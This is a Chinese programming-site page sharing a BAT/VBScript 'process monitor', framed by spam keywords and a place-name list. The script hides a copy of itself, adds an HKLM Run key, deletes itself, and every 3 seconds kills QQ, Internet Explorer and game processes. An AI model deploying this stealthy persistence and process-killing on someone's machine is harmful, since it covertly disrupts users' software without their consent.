国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

進程監(jiān)控實現(xiàn)代碼[vbs+bat]

2020-06-26 18:22:57
字體:
供稿:網(wǎng)友
這是用BAT寫的,主體是VBS,所以放在VBS分類了
 
運行后會在%windir%/system32/目錄下生成jk.vbs, 
并且自動添加注冊表啟動項,另外在D:/會生成一個隱藏屬性的JK.VBS, 
3秒間隔監(jiān)控進程,如果進程中有QQ.exe、iexplore.exe、client.exe、game.exe進程則會自動結(jié)束進程。 
復(fù)制代碼代碼如下:

@echo off 
attrib -s -h -a -r d:/jk.bat 1>nul 2>nul 
if exist d:/jk.bat del d:/jk.bat /q 
copy %0 d:/jk.bat /y >nul 
attrib +s +h +a +r d:/jk.bat 
if exist %windir%/system32/jk.vbs del %windir%/system32/jk.vbs 
echo y|reg add HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v DATA /t REG_SZ /d c:/windows/system32/jk.vbs >nul 
echo Do>>%windir%/system32/jk.vbs 
echo WScript.Sleep 3000>>%windir%/system32/jk.vbs 
echo strComputer = "." >>%windir%/system32/jk.vbs 
echo Set objWMIService = GetObject("winmgmts://" ^& strComputer ^& "/root/CIMV2") >>%windir%/system32/jk.vbs 
echo Set colItems = objWMIService.ExecQuery( _>>%windir%/system32/jk.vbs 
echo "SELECT * FROM Win32_Process",,48)>>%windir%/system32/jk.vbs 
echo For Each objItem in colItems >>%windir%/system32/jk.vbs 
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%/system32/jk.vbs 
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%/system32/jk.vbs 
echo Then objitem.Terminate()>>%windir%/system32/jk.vbs 
echo Next>>%windir%/system32/jk.vbs 
echo loop>>%windir%/system32/jk.vbs 
start %windir%/system32/jk.vbs 
del %0 /q 

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 乌兰浩特市| 佳木斯市| 上杭县| 开化县| 临武县| 阿拉尔市| 湘潭县| 东光县| 洞头县| 黄梅县| 峨眉山市| 农安县| 临清市| 舒城县| 鲜城| 越西县| 芦溪县| 江口县| 麻阳| 鄂伦春自治旗| 十堰市| 温泉县| 苏州市| 武陟县| 景宁| 门源| 石泉县| 三门峡市| 祥云县| 盐津县| 勐海县| 乌拉特前旗| 平邑县| 门源| 建湖县| 七台河市| 界首市| 桂阳县| 桂阳县| 通河县| 七台河市|